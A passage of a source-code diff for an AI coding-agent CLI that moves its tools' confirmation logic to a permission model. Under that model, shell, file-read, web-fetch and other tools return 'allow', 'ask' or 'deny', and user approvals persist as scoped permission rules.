@@ -303,10 +310,8 @@ Preview of changes to be made to GLOBAL memory: fileDiff, originalContent: currentContent, newContent, - onConfirm: async (outcome: ToolConfirmationOutcome) => { - if (outcome === ToolConfirmationOutcome.ProceedAlways) { - MemoryToolInvocation.allowlist.add(allowlistKey); - } + onConfirm: async (_outcome: ToolConfirmationOutcome) => { + // No-op: persistence is handled by coreToolScheduler via PM rules }, }; return confirmationDetails; diff --git a/packages/core/src/tools/read-file.test.ts b/packages/core/src/tools/read-file.test.ts index ebc9cb27b41e..64a46fe9e391 100644 --- a/packages/core/src/tools/read-file.test.ts +++ b/packages/core/src/tools/read-file.test.ts @@ -76,13 +76,12 @@ describe('ReadFileTool', () => { ); }); - it('should throw error if path is outside root', () => { + it('should allow path outside root (external path support)', () => { const params: ReadFileToolParams = { absolute_path: '/outside/root.txt', }; - expect(() => tool.build(params)).toThrow( - /File path must be within one of the workspace directories/, - ); + const invocation = tool.build(params); + expect(invocation).toBeDefined(); }); it('should allow access to files in project temp directory', () => { @@ -102,13 +101,12 @@ describe('ReadFileTool', () => { expect(typeof result).not.toBe('string'); }); - it('should show temp directory in error message when path is outside workspace and temp dir', () => { + it('should allow path completely outside workspace (external path support)', () => { const params: ReadFileToolParams = { absolute_path: '/completely/outside/path.txt', }; - expect(() => tool.build(params)).toThrow( - /File path must be within one of the workspace directories.*or within the project temp directory/, - ); + const invocation = tool.build(params); + expect(invocation).toBeDefined(); }); it('should throw error if path is empty', () => { @@ -141,6 +139,36 @@ describe('ReadFileTool', () => { }); }); + describe('getDefaultPermission', () => { + it('should return allow for paths within workspace', async () => { + const params: ReadFileToolParams = { + absolute_path: path.join(tempRootDir, 'test.txt'), + }; + const invocation = tool.build(params); + const permission = await invocation.getDefaultPermission(); + expect(permission).toBe('allow'); + }); + + it('should return ask for paths outside workspace', async () => { + const params: ReadFileToolParams = { + absolute_path: '/outside/workspace/file.txt', + }; + const invocation = tool.build(params); + const permission = await invocation.getDefaultPermission(); + expect(permission).toBe('ask'); + }); + + it('should return allow for paths within temp directory', async () => { + const tempDir = path.join(tempRootDir, '.temp'); + const params: ReadFileToolParams = { + absolute_path: path.join(tempDir, 'temp-file.txt'), + }; + const invocation = tool.build(params); + const permission = await invocation.getDefaultPermission(); + expect(permission).toBe('allow'); + }); + }); + describe('getDescription', () => { it('should return relative path without limit/offset', () => { const subDir = path.join(tempRootDir, 'sub', 'dir'); diff --git a/packages/core/src/tools/read-file.ts b/packages/core/src/tools/read-file.ts index 4a9c3bd9a0bd..832e11e0a505 100644 --- a/packages/core/src/tools/read-file.ts +++ b/packages/core/src/tools/read-file.ts @@ -12,6 +12,7 @@ import { BaseDeclarativeTool, BaseToolInvocation, Kind } from './tools.js'; import { ToolNames, ToolDisplayNames } from './tool-names.js'; import type { PartUnion } from '@google/genai'; +import type { PermissionDecision } from '../permissions/types.js'; import { processSingleFileContent, getSpecificMimeType, @@ -78,6 +79,32 @@ class ReadFileToolInvocation extends BaseToolInvocation< return [{ path: this.params.absolute_path, line: this.params.offset }]; } + /** + * Returns 'ask' for paths outside the workspace/temp/userSkills directories, + * so that external file reads require user confirmation. + */ + override async getDefaultPermission(): Promise { + const filePath = path.resolve(this.params.absolute_path); + const workspaceContext = this.config.getWorkspaceContext(); + const globalTempDir = Storage.getGlobalTempDir(); + const projectTempDir = this.config.storage.getProjectTempDir(); + const userSkillsDirs = this.config.storage.getUserSkillsDirs(); + const userExtensionsDir = Storage.getUserExtensionsDir(); + const osTempDir = os.tmpdir(); + + if ( + workspaceContext.isPathWithinWorkspace(filePath) || + isSubpath(projectTempDir, filePath) || + isSubpath(globalTempDir, filePath) || + isSubpath(osTempDir, filePath) || + isSubpaths(userSkillsDirs, filePath) || + isSubpath(userExtensionsDir, filePath) + ) { + return 'allow'; + } + return 'ask'; + } + async execute(): Promise { const result = await processSingleFileContent( this.params.absolute_path, @@ -184,32 +211,6 @@ export class ReadFileTool extends BaseDeclarativeTool< return `File path must be absolute, but was relative: ${filePath}. You must provide an absolute path.`; } - const workspaceContext = this.config.getWorkspaceContext(); - const globalTempDir = Storage.getGlobalTempDir(); - const projectTempDir = this.config.storage.getProjectTempDir(); - const userSkillsDirs = this.config.storage.getUserSkillsDirs(); - const arenaDir = Storage.getGlobalArenaDir(); - const resolvedFilePath = path.resolve(filePath); - const osTempDir = os.tmpdir(); - const isWithinTempDir = - isSubpath(projectTempDir, resolvedFilePath) || - isSubpath(globalTempDir, resolvedFilePath) || - isSubpath(osTempDir, resolvedFilePath); - - const isWithinUserSkills = isSubpaths(userSkillsDirs, resolvedFilePath); - const isWithinArenaDir = isSubpath(arenaDir, resolvedFilePath); - - if ( - !workspaceContext.isPathWithinWorkspace(filePath) && - !isWithinTempDir && - !isWithinUserSkills && - !isWithinArenaDir - ) { - const directories = workspaceContext.getDirectories(); - return `File path must be within one of the workspace directories: ${directories.join( - ', ', - )} or within the project temp directory: ${projectTempDir}`; - } if (params.offset !== undefined && params.offset < 0) { return 'Offset must be a non-negative number'; } diff --git a/packages/core/src/tools/shell.test.ts b/packages/core/src/tools/shell.test.ts index 95222af5d308..693b03ec17de 100644 --- a/packages/core/src/tools/shell.test.ts +++ b/packages/core/src/tools/shell.test.ts @@ -35,7 +35,6 @@ import { EOL } from 'node:os'; import * as path from 'node:path'; import * as crypto from 'node:crypto'; import { ToolErrorType } from './tool-error.js'; -import { ToolConfirmationOutcome } from './tools.js'; import { OUTPUT_UPDATE_INTERVAL_MS } from './shell.js'; import { createMockWorkspaceContext } from '../test-utils/mockWorkspaceContext.js'; @@ -50,7 +49,7 @@ describe('ShellTool', () => { mockConfig = { getCoreTools: vi.fn().mockReturnValue([]), - getExcludeTools: vi.fn().mockReturnValue([]), + getPermissionsDeny: vi.fn().mockReturnValue([]), getDebugMode: vi.fn().mockReturnValue(false), getTargetDir: vi.fn().mockReturnValue('/test/dir'), getWorkspaceContext: vi @@ -94,7 +93,7 @@ describe('ShellTool', () => { describe('isCommandAllowed', () => { it('should allow a command if no restrictions are provided', () => { (mockConfig.getCoreTools as Mock).mockReturnValue(undefined); - (mockConfig.getExcludeTools as Mock).mockReturnValue(undefined); + (mockConfig.getPermissionsDeny as Mock).mockReturnValue(undefined); expect(isCommandAllowed('ls -l', mockConfig).allowed).toBe(true); }); @@ -897,44 +896,57 @@ describe('ShellTool', () => { }); }); - describe('shouldConfirmExecute', () => { + describe('getDefaultPermission and getConfirmationDetails', () => { it('should not request confirmation for read-only commands', async () => { const invocation = shellTool.build({ command: 'ls -la', is_background: false, }); - const confirmation = await invocation.shouldConfirmExecute( - new AbortController().signal, - ); + const permission = await invocation.getDefaultPermission(); - expect(confirmation).toBe(false); + expect(permission).toBe('allow'); }); - it('should request confirmation for a new command and whitelist it on "Always"', async () => { + it('should request confirmation for a non-read-only command and return details', async () => { const params = { command: 'npm install', is_background: false }; const invocation = shellTool.build(params); - const confirmation = await invocation.shouldConfirmExecute( - new AbortController().signal, - ); - expect(confirmation).not.toBe(false); - expect(confirmation && confirmation.type).toBe('exec'); + const permission = await invocation.getDefaultPermission(); + expect(permission).toBe('ask'); - // eslint-disable-next-line @typescript-eslint/no-explicit-any - await (confirmation as any).onConfirm( - ToolConfirmationOutcome.ProceedAlways, + const details = await invocation.getConfirmationDetails( + new AbortController().signal, ); + expect(details.type).toBe('exec'); + }); - // Should now be whitelisted - const secondInvocation = shellTool.build({ - command: 'npm test', + it('should exclude read-only sub-commands from confirmation details in compound commands', async () => { + // "cd" is read-only, "npm run build" is not + const params = { + command: 'cd packages/core && npm run build', is_background: false, - }); - const secondConfirmation = await secondInvocation.shouldConfirmExecute( + }; + const invocation = shellTool.build(params); + + const permission = await invocation.getDefaultPermission(); + expect(permission).toBe('ask'); + + const details = (await invocation.getConfirmationDetails( new AbortController().signal, + )) as { rootCommand: string; permissionRules: string[] }; + + // rootCommand should only include 'npm', not 'cd' + expect(details.rootCommand).not.toContain('cd'); + expect(details.rootCommand).toContain('npm'); + + // permissionRules should not include Bash(cd *) + expect(details.permissionRules).not.toContainEqual( + expect.stringContaining('cd'), + ); + expect(details.permissionRules).toContainEqual( + expect.stringContaining('npm'), ); - expect(secondConfirmation).toBe(false); }); it('should throw an error if validation fails', () => { diff --git a/packages/core/src/tools/shell.ts b/packages/core/src/tools/shell.ts index 67cd4cc381da..3d38eaf4b871 100644 --- a/packages/core/src/tools/shell.ts +++ b/packages/core/src/tools/shell.ts @@ -18,13 +18,10 @@ import type { ToolCallConfirmationDetails, ToolExecuteConfirmationDetails, ToolConfirmationPayload, -} from './tools.js'; -import { - BaseDeclarativeTool, - BaseToolInvocation, ToolConfirmationOutcome, - Kind, } from './tools.js'; +import type { PermissionDecision } from '../permissions/types.js'; +import { BaseDeclarativeTool, BaseToolInvocation, Kind } from './tools.js'; import { getErrorMessage } from '../utils/errors.js'; import { truncateToolOutput } from '../utils/truncation.js'; import type { @@ -36,12 +33,17 @@ import { formatMemoryUsage } from '../utils/formatters.js'; import type { AnsiOutput } from '../utils/terminalSerializer.js'; import { isSubpaths } from '../utils/paths.js'; import { + getCommandRoot, getCommandRoots, - isCommandAllowed, - isCommandNeedsPermission, + splitCommands, stripShellWrapper, + detectCommandSubstitution, } from '../utils/shell-utils.js'; import { createDebugLogger } from '../utils/debugLogger.js'; +import { + isShellCommandReadOnlyAST, + extractCommandRules, +} from '../utils/shellAstParser.js'; const debugLogger = createDebugLogger('SHELL'); @@ -63,7 +65,6 @@ export class ShellToolInvocation extends BaseToolInvocation< constructor( private readonly config: Config, params: ShellToolParams, - private readonly allowlist: Set, ) { super(params); } @@ -89,36 +90,96 @@ export class ShellToolInvocation extends BaseToolInvocation< return description; } - override async shouldConfirmExecute( + /** + * AST-based permission check for the shell command. + * - Command substitution → 'deny' (security) + * - Read-only commands (via AST analysis) → 'allow' + * - All other commands → 'ask' + */ + override async getDefaultPermission(): Promise { + const command = stripShellWrapper(this.params.command); + + // Security: command substitution ($(), ``, <(), >()) → deny + if (detectCommandSubstitution(command)) { + return 'deny'; + } + + // AST-based read-only detection + try { + const isReadOnly = await isShellCommandReadOnlyAST(command); + if (isReadOnly) { + return 'allow'; + } + } catch (e) { + debugLogger.warn('AST read-only check failed, falling back to ask:', e); + } + + return 'ask'; + } + + /** + * Constructs confirmation dialog details for a shell command that needs + * user approval. For compound commands (e.g. `cd foo && npm run build`), + * sub-commands that are already allowed (read-only) are excluded from both + * the displayed root-command list and the suggested permission rules. + */ + override async getConfirmationDetails( _abortSignal: AbortSignal, - ): Promise { + ): Promise { const command = stripShellWrapper(this.params.command); - const rootCommands = [...new Set(getCommandRoots(command))]; - const commandsToConfirm = rootCommands.filter( - (command) => !this.allowlist.has(command), - ); - if (commandsToConfirm.length === 0) { - return false; // already approved and allowlisted + // Split compound command and filter out already-allowed (read-only) sub-commands + const subCommands = splitCommands(command); + const nonReadOnlySubCommands: string[] = []; + for (const sub of subCommands) { + try { + const isReadOnly = await isShellCommandReadOnlyAST(sub); + if (!isReadOnly) { + nonReadOnlySubCommands.push(sub); + } + } catch { + nonReadOnlySubCommands.push(sub); // conservative: include if check fails + } } - const permissionCheck = isCommandNeedsPermission(command); - if (!permissionCheck.requiresPermission) { - return false; + // Fallback to all sub-commands if everything was filtered out (shouldn't + // normally happen since getDefaultPermission already returned 'ask'). + const effectiveSubCommands = + nonReadOnlySubCommands.length > 0 ? nonReadOnlySubCommands : subCommands; + + const rootCommands = [ + ...new Set( + effectiveSubCommands + .map((c) => getCommandRoot(c)) + .filter((c): c is string => !!c), + ), + ]; + + // Extract minimum-scope permission rules only for sub-commands that + // actually need confirmation. + let permissionRules: string[] = []; + try { + const allRules: string[] = []; + for (const sub of effectiveSubCommands) { + const rules = await extractCommandRules(sub); + allRules.push(...rules); + } + permissionRules = [...new Set(allRules)].map((rule) => `Bash(${rule})`); + } catch (e) { + debugLogger.warn('Failed to extract command rules:', e); } const confirmationDetails: ToolExecuteConfirmationDetails = { type: 'exec', title: 'Confirm Shell Command', command: this.params.command, - rootCommand: commandsToConfirm.join(', '), + rootCommand: rootCommands.join(', '), + permissionRules, onConfirm: async ( - outcome: ToolConfirmationOutcome, + _outcome: ToolConfirmationOutcome, _payload?: ToolConfirmationPayload, ) => { - if (outcome === ToolConfirmationOutcome.ProceedAlways) { - commandsToConfirm.forEach((command) => this.allowlist.add(command)); - } + // No-op: persistence is handled by coreToolScheduler via PM rules }, }; return confirmationDetails; @@ -542,7 +603,6 @@ export class ShellTool extends BaseDeclarativeTool< ToolResult > { static Name: string = ToolNames.SHELL; - private allowlist: Set = new Set(); constructor(private readonly config: Config) { super( @@ -587,16 +647,9 @@ export class ShellTool extends BaseDeclarativeTool< protected override validateToolParamValues( params: ShellToolParams, ): string | null { - const commandCheck = isCommandAllowed(params.command, this.config); - if (!commandCheck.allowed) { - if (!commandCheck.reason) { - debugLogger.error( - 'Unexpected: isCommandAllowed returned false without a reason', - ); - return `Command is not allowed: ${params.command}`; - } - return commandCheck.reason; - } + // NOTE: Permission checks (command substitution, read-only detection, PM rules) + // are now handled at L3 (getDefaultPermission) and L4 (PM override) in + // coreToolScheduler. This method only performs pure parameter validation. if (!params.command.trim()) { return 'Command cannot be empty.'; } @@ -647,6 +700,6 @@ export class ShellTool extends BaseDeclarativeTool< protected createInvocation( params: ShellToolParams, ): ToolInvocation { - return new ShellToolInvocation(this.config, params, this.allowlist); + return new ShellToolInvocation(this.config, params); } } diff --git a/packages/core/src/tools/skill.test.ts b/packages/core/src/tools/skill.test.ts index 7f327be737d8..b25e872d051a 100644 --- a/packages/core/src/tools/skill.test.ts +++ b/packages/core/src/tools/skill.test.ts @@ -24,7 +24,6 @@ type SkillToolWithProtectedMethods = SkillTool & { returnDisplay: ToolResultDisplay; }>; getDescription: () => string; - shouldConfirmExecute: () => Promise; }; }; @@ -393,9 +392,9 @@ describe('SkillTool', () => { const invocation = ( skillTool as SkillToolWithProtectedMethods ).createInvocation(params); - const shouldConfirm = await invocation.shouldConfirmExecute(); + const permission = await invocation.getDefaultPermission(); - expect(shouldConfirm).toBe(false); + expect(permission).toBe('allow'); }); it('should provide correct description', () => { diff --git a/packages/core/src/tools/skill.ts b/packages/core/src/tools/skill.ts index b97f52c271df..f64f109ded68 100644 --- a/packages/core/src/tools/skill.ts +++ b/packages/core/src/tools/skill.ts @@ -230,11 +230,6 @@ class SkillToolInvocation extends BaseToolInvocation { return `Use skill: "${this.params.skill}"`; } - override async shouldConfirmExecute(): Promise { - // Skill loading is a read-only operation, no confirmation needed - return false; - } - async execute( _signal?: AbortSignal, _updateOutput?: (output: ToolResultDisplay) => void, diff --git a/packages/core/src/tools/task.test.ts b/packages/core/src/tools/task.test.ts index 21161ff9872a..362dab13f4c5 100644 --- a/packages/core/src/tools/task.test.ts +++ b/packages/core/src/tools/task.test.ts @@ -31,7 +31,6 @@ type TaskToolWithProtectedMethods = TaskTool & { returnDisplay: ToolResultDisplay; }>; getDescription: () => string; - shouldConfirmExecute: () => Promise; }; }; @@ -519,9 +518,9 @@ describe('TaskTool', () => { const invocation = ( taskTool as TaskToolWithProtectedMethods ).createInvocation(params); - const shouldConfirm = await invocation.shouldConfirmExecute(); + const permission = await invocation.getDefaultPermission(); - expect(shouldConfirm).toBe(false); + expect(permission).toBe('allow'); }); it('should provide correct description', async () => { diff --git a/packages/core/src/tools/task.ts b/packages/core/src/tools/task.ts index 11a1caee4490..974a4b41a4e3 100644 --- a/packages/core/src/tools/task.ts +++ b/packages/core/src/tools/task.ts @@ -410,6 +410,8 @@ class TaskToolInvocation extends BaseToolInvocation { ToolConfirmationOutcome.ProceedAlways, ToolConfirmationOutcome.ProceedAlwaysServer, ToolConfirmationOutcome.ProceedAlwaysTool, + ToolConfirmationOutcome.ProceedAlwaysProject, + ToolConfirmationOutcome.ProceedAlwaysUser, ]); if (proceedOutcomes.has(outcome)) { @@ -455,11 +457,6 @@ class TaskToolInvocation extends BaseToolInvocation { return `${this.params.subagent_type} subagent: "${this.params.description}"`; } - override async shouldConfirmExecute(): Promise { - // Task delegation should execute automatically without user confirmation - return false; - } - async execute( signal?: AbortSignal, updateOutput?: (output: ToolResultDisplay) => void, diff --git a/packages/core/src/tools/todoWrite.ts b/packages/core/src/tools/todoWrite.ts index f99fbccddf2e..2cdbafb5193c 100644 --- a/packages/core/src/tools/todoWrite.ts +++ b/packages/core/src/tools/todoWrite.ts @@ -313,13 +313,6 @@ class TodoWriteToolInvocation extends BaseToolInvocation< return this.operationType === 'create' ? 'Create todos' : 'Update todos'; } - override async shouldConfirmExecute( - _abortSignal: AbortSignal, - ): Promise { - // Todo operations should execute automatically without user confirmation - return false; - } - async execute(_signal: AbortSignal): Promise { const { todos, modified_by_user, modified_content } = this.params; const sessionId = this.config.getSessionId(); diff --git a/packages/core/src/tools/tools.test.ts b/packages/core/src/tools/tools.test.ts index 38827268c196..244642e83050 100644 --- a/packages/core/src/tools/tools.test.ts +++ b/packages/core/src/tools/tools.test.ts @@ -6,6 +6,7 @@ import { describe, it, expect, vi } from 'vitest'; import type { ToolInvocation, ToolResult } from './tools.js'; +import type { PermissionDecision } from '../permissions/types.js'; import { DeclarativeTool, hasCycleInSchema, Kind } from './tools.js'; import { ToolErrorType } from './tool-error.js'; @@ -23,8 +24,12 @@ class TestToolInvocation implements ToolInvocation { return []; } - shouldConfirmExecute(): Promise { - return Promise.resolve(false); + getDefaultPermission(): Promise { + return Promise.resolve('allow'); + } + + getConfirmationDetails(): Promise { + throw new Error('Not implemented'); } execute(): Promise { diff --git a/packages/core/src/tools/tools.ts b/packages/core/src/tools/tools.ts index 2605a01056b1..9e6f9f9bc953 100644 --- a/packages/core/src/tools/tools.ts +++ b/packages/core/src/tools/tools.ts @@ -11,6 +11,7 @@ import type { ShellExecutionConfig } from '../services/shellExecutionService.js' import { SchemaValidator } from '../utils/schemaValidator.js'; import { type AgentStatsSummary } from '../agents/runtime/agent-statistics.js'; import type { AnsiOutput } from '../utils/terminalSerializer.js'; +import type { PermissionDecision } from '../permissions/types.js'; /** * Represents a validated and ready-to-execute tool call. @@ -39,12 +40,29 @@ export interface ToolInvocation< toolLocations(): ToolLocation[]; /** - * Determines if the tool should prompt for confirmation before execution. - * @returns Confirmation details or false if no confirmation is needed. + * Returns the tool's intrinsic permission for this invocation, based solely + * on its own parameters (without consulting PermissionManager). + * + * - `'allow'` — inherently safe (e.g., read-only commands, `cat`, `ls`). + * - `'ask'` — may have side effects, needs user or PM confirmation. + * - `'deny'` — security violation (e.g., command substitution in shell). + * + * The coreToolScheduler uses this as the *default* permission which may be + * overridden by PermissionManager rules at L4. + */ + getDefaultPermission(): Promise; + + /** + * Constructs the confirmation dialog details for this invocation. + * Only called when the final permission decision is `'ask'` and the user + * needs to be prompted interactively. + * + * @param abortSignal Signal to cancel the operation. + * @returns The confirmation details for the UI to display. */ - shouldConfirmExecute( + getConfirmationDetails( abortSignal: AbortSignal, - ): Promise; + ): Promise; /** * Executes the tool with the validated parameters. @@ -75,10 +93,37 @@ export abstract class BaseToolInvocation< return []; } - shouldConfirmExecute( + /** + * Default: read-only tools return 'allow'. Override in subclasses for + * tools with side effects. + */ + getDefaultPermission(): Promise { + return Promise.resolve('allow'); + } + + /** + * Default fallback: returns a generic 'info' confirmation dialog using the + * tool's getDescription(). This ensures that even tools whose + * getDefaultPermission() returns 'allow' can still be prompted when PM + * rules override the decision to 'ask' at L4. + * + * Tools with richer confirmation UIs (Shell, Edit, MCP, etc.) override this. + */ + getConfirmationDetails( _abortSignal: AbortSignal, - ): Promise { - return Promise.resolve(false); + ): Promise { + const details: ToolInfoConfirmationDetails = { + type: 'info', + title: `Confirm ${this.constructor.name.replace(/Invocation$/, '')}`, + prompt: this.getDescription(), + onConfirm: async ( + _outcome: ToolConfirmationOutcome, + _payload?: ToolConfirmationPayload, + ) => { + // No-op: persistence is handled by coreToolScheduler via PM rules + }, + }; + return Promise.resolve(details); } abstract execute( @@ -535,6 +580,12 @@ export interface ToolEditConfirmationDetails { outcome: ToolConfirmationOutcome, payload?: ToolConfirmationPayload, ) => Promise; + /** + * When true, the UI should not show "Always allow" options (ProceedAlwaysProject/User). + * Set by coreToolScheduler when PM has an explicit 'ask' rule that would override + * any 'allow' rule the user might add. + */ + hideAlwaysAllow?: boolean; fileName: string; filePath: string; fileDiff: string; @@ -550,6 +601,10 @@ export interface ToolConfirmationPayload { newContent?: string; // used to provide custom cancellation message when outcome is Cancel cancelMessage?: string; + // Permission rules to persist when user selects ProceedAlwaysProject/User. + // Populated by the tool's getConfirmationDetails() and read by + // coreToolScheduler.handleConfirmationResponse() for persistence. + permissionRules?: string[]; // used to pass user answers from ask_user_question tool answers?: Record; } @@ -561,13 +616,19 @@ export interface ToolExecuteConfirmationDetails { outcome: ToolConfirmationOutcome, payload?: ToolConfirmationPayload, ) => Promise; + /** @see ToolEditConfirmationDetails.hideAlwaysAllow */ + hideAlwaysAllow?: boolean; command: string; rootCommand: string; + /** Permission rules extracted by extractCommandRules(), used for display and persistence. */ + permissionRules?: string[]; } export interface ToolMcpConfirmationDetails { type: 'mcp'; title: string; + /** @see ToolEditConfirmationDetails.hideAlwaysAllow */ + hideAlwaysAllow?: boolean; serverName: string; toolName: string; toolDisplayName: string; @@ -575,14 +636,23 @@ export interface ToolMcpConfirmationDetails { outcome: ToolConfirmationOutcome, payload?: ToolConfirmationPayload, ) => Promise; + /** Permission rule for this MCP tool, e.g. 'mcp__server__tool'. */ + permissionRules?: string[]; } export interface ToolInfoConfirmationDetails { type: 'info'; title: string; - onConfirm: (outcome: ToolConfirmationOutcome) => Promise; + onConfirm: ( + outcome: ToolConfirmationOutcome, + payload?: ToolConfirmationPayload, + ) => Promise; + /** @see ToolEditConfirmationDetails.hideAlwaysAllow */ + hideAlwaysAllow?: boolean; prompt: string; urls?: string[]; + /** Permission rules for persistence, e.g. 'WebFetch(example.com)'. */ + permissionRules?: string[]; } export type ToolCallConfirmationDetails = @@ -596,8 +666,13 @@ export type ToolCallConfirmationDetails = export interface ToolPlanConfirmationDetails { type: 'plan'; title: string; + /** @see ToolEditConfirmationDetails.hideAlwaysAllow */ + hideAlwaysAllow?: boolean; plan: string; - onConfirm: (outcome: ToolConfirmationOutcome) => Promise; + onConfirm: ( + outcome: ToolConfirmationOutcome, + payload?: ToolConfirmationPayload, + ) => Promise; } export interface ToolAskUserQuestionConfirmationDetails { @@ -629,8 +704,14 @@ export interface ToolAskUserQuestionConfirmationDetails { export enum ToolConfirmationOutcome { ProceedOnce = 'proceed_once', ProceedAlways = 'proceed_always', + /** @deprecated Use ProceedAlwaysProject or ProceedAlwaysUser instead. */ ProceedAlwaysServer = 'proceed_always_server', + /** @deprecated Use ProceedAlwaysProject or ProceedAlwaysUser instead. */ ProceedAlwaysTool = 'proceed_always_tool', + /** Persist the permission rule to the project settings (workspace scope). */ + ProceedAlwaysProject = 'proceed_always_project', + /** Persist the permission rule to the user settings (user scope). */ + ProceedAlwaysUser = 'proceed_always_user', ModifyWithEditor = 'modify_with_editor', Cancel = 'cancel', } diff --git a/packages/core/src/tools/web-fetch.test.ts b/packages/core/src/tools/web-fetch.test.ts index cfa7b593daa6..93ef2826ec6b 100644 --- a/packages/core/src/tools/web-fetch.test.ts +++ b/packages/core/src/tools/web-fetch.test.ts @@ -77,7 +77,7 @@ describe('WebFetchTool', () => { }); }); - describe('shouldConfirmExecute', () => { + describe('getConfirmationDetails', () => { it('should return confirmation details with the correct prompt and urls', async () => { const tool = new WebFetchTool(mockConfig); const params = { @@ -85,7 +85,9 @@ describe('WebFetchTool', () => { prompt: 'summarize this page', }; const invocation = tool.build(params); - const confirmationDetails = await invocation.shouldConfirmExecute( + expect(await invocation.getDefaultPermission()).toBe('ask'); + + const confirmationDetails = await invocation.getConfirmationDetails( new AbortController().signal, ); @@ -95,6 +97,7 @@ describe('WebFetchTool', () => { prompt: 'Fetch content from https://example.com and process with: summarize this page', urls: ['https://example.com'], + permissionRules: ['WebFetch(example.com)'], onConfirm: expect.any(Function), }); }); @@ -106,7 +109,9 @@ describe('WebFetchTool', () => { prompt: 'summarize the README', }; const invocation = tool.build(params); - const confirmationDetails = await invocation.shouldConfirmExecute( + expect(await invocation.getDefaultPermission()).toBe('ask'); + + const confirmationDetails = await invocation.getConfirmationDetails( new AbortController().signal, ); @@ -116,11 +121,12 @@ describe('WebFetchTool', () => { prompt: 'Fetch content from https://github.com/google/gemini-react/blob/main/README.md and process with: summarize the README', urls: ['https://github.com/google/gemini-react/blob/main/README.md'], + permissionRules: ['WebFetch(github.com)'], onConfirm: expect.any(Function), }); }); - it('should return false if approval mode is AUTO_EDIT', async () => { + it('should return ask even if approval mode is AUTO_EDIT (approval mode handled by scheduler)', async () => { const tool = new WebFetchTool({ ...mockConfig, getApprovalMode: () => ApprovalMode.AUTO_EDIT, @@ -130,14 +136,24 @@ describe('WebFetchTool', () => { prompt: 'summarize this page', }; const invocation = tool.build(params); - const confirmationDetails = await invocation.shouldConfirmExecute( + expect(await invocation.getDefaultPermission()).toBe('ask'); + + const confirmationDetails = await invocation.getConfirmationDetails( new AbortController().signal, ); - expect(confirmationDetails).toBe(false); + expect(confirmationDetails).toEqual({ + type: 'info', + title: 'Confirm Web Fetch', + prompt: + 'Fetch content from https://example.com and process with: summarize this page', + urls: ['https://example.com'], + permissionRules: ['WebFetch(example.com)'], + onConfirm: expect.any(Function), + }); }); - it('should call setApprovalMode when onConfirm is called with ProceedAlways', async () => { + it('should have onConfirm as a no-op (approval mode handled by scheduler)', async () => { const setApprovalMode = vi.fn(); const testConfig = { ...mockConfig, @@ -149,7 +165,7 @@ describe('WebFetchTool', () => { prompt: 'summarize this page', }; const invocation = tool.build(params); - const confirmationDetails = await invocation.shouldConfirmExecute( + const confirmationDetails = await invocation.getConfirmationDetails( new AbortController().signal, ); @@ -163,7 +179,8 @@ describe('WebFetchTool', () => { ); } - expect(setApprovalMode).toHaveBeenCalledWith(ApprovalMode.AUTO_EDIT); + // setApprovalMode should NOT be called — onConfirm is a no-op + expect(setApprovalMode).not.toHaveBeenCalled(); }); }); }); diff --git a/packages/core/src/tools/web-fetch.ts b/packages/core/src/tools/web-fetch.ts index 8240770d2aa0..6dc846c4369e 100644 --- a/packages/core/src/tools/web-fetch.ts +++ b/packages/core/src/tools/web-fetch.ts @@ -7,7 +7,6 @@ import { convert } from 'html-to-text'; import { ProxyAgent, setGlobalDispatcher } from 'undici'; import type { Config } from '../config/config.js'; -import { ApprovalMode } from '../config/config.js'; import { fetchWithTimeout, isPrivateIp } from '../utils/fetch.js'; import { getResponseText } from '../utils/partUtils.js'; import { ToolErrorType } from './tool-error.js'; @@ -15,12 +14,14 @@ import type { ToolCallConfirmationDetails, ToolInvocation, ToolResult, -} from './tools.js'; + ToolConfirmationPayload, + + ToolConfirmationOutcome} from './tools.js'; +import type { PermissionDecision } from '../permissions/types.js'; import { BaseDeclarativeTool, BaseToolInvocation, - Kind, - ToolConfirmationOutcome, + Kind } from './tools.js'; import { DEFAULT_QWEN_MODEL } from '../config/models.js'; import { ToolNames, ToolDisplayNames } from './tool-names.js'; @@ -151,26 +152,40 @@ ${textContent} return `Fetching content from ${this.params.url} and processing with prompt: "${displayPrompt}"`; } - override async shouldConfirmExecute(): Promise< - ToolCallConfirmationDetails | false - > { - // Auto-execute in AUTO_EDIT mode and PLAN mode (read-only tool) - if ( - this.config.getApprovalMode() === ApprovalMode.AUTO_EDIT || - this.config.getApprovalMode() === ApprovalMode.PLAN - ) { - return false; + /** + * WebFetch is a read-like tool (fetches content) but requires confirmation + * because it makes external network requests. + */ + override async getDefaultPermission(): Promise { + return 'ask'; + } + + /** + * Constructs the web fetch confirmation details. + */ + override async getConfirmationDetails( + _abortSignal: AbortSignal, + ): Promise { + // Extract the domain for the permission rule. + let domain: string; + try { + domain = new URL(this.params.url).hostname; + } catch { + domain = this.params.url; } + const permissionRules = [`WebFetch(${domain})`]; const confirmationDetails: ToolCallConfirmationDetails = { type: 'info', title: `Confirm Web Fetch`, prompt: `Fetch content from ${this.params.url} and process with: ${this.params.prompt}`, urls: [this.params.url], - onConfirm: async (outcome: ToolConfirmationOutcome) => { - if (outcome === ToolConfirmationOutcome.ProceedAlways) { - this.config.setApprovalMode(ApprovalMode.AUTO_EDIT); - } + permissionRules, + onConfirm: async ( + _outcome: ToolConfirmationOutcome, + _payload?: ToolConfirmationPayload, + ) => { + // No-op: persistence is handled by coreToolScheduler via PM rules }, }; return confirmationDetails; diff --git a/packages/core/src/tools/web-search/index.ts b/packages/core/src/tools/web-search/index.ts index f8fcb8c60d9b..038f5d1697f3 100644 --- a/packages/core/src/tools/web-search/index.ts +++ b/packages/core/src/tools/web-search/index.ts @@ -4,6 +4,8 @@ * SPDX-License-Identifier: Apache-2.0 */ +import type { + ToolConfirmationOutcome} from '../tools.js'; import { BaseDeclarativeTool, BaseToolInvocation, @@ -11,12 +13,12 @@ import { type ToolInvocation, type ToolCallConfirmationDetails, type ToolInfoConfirmationDetails, - ToolConfirmationOutcome, + type ToolConfirmationPayload } from '../tools.js'; +import type { PermissionDecision } from '../../permissions/types.js'; import { ToolErrorType } from '../tool-error.js'; import type { Config } from '../../config/config.js'; -import { ApprovalMode } from '../../config/config.js'; import { getErrorMessage } from '../../utils/errors.js'; import { createDebugLogger } from '../../utils/debugLogger.js'; import { buildContentWithSources } from './utils.js'; @@ -55,25 +57,32 @@ class WebSearchToolInvocation extends BaseToolInvocation< return ` (Searching the web via ${provider})`; } - override async shouldConfirmExecute( + /** + * WebSearch requires confirmation for external network requests. + */ + override async getDefaultPermission(): Promise { + return 'ask'; + } + + /** + * Constructs the web search confirmation details. + */ + override async getConfirmationDetails( _abortSignal: AbortSignal, - ): Promise { - // Auto-execute in 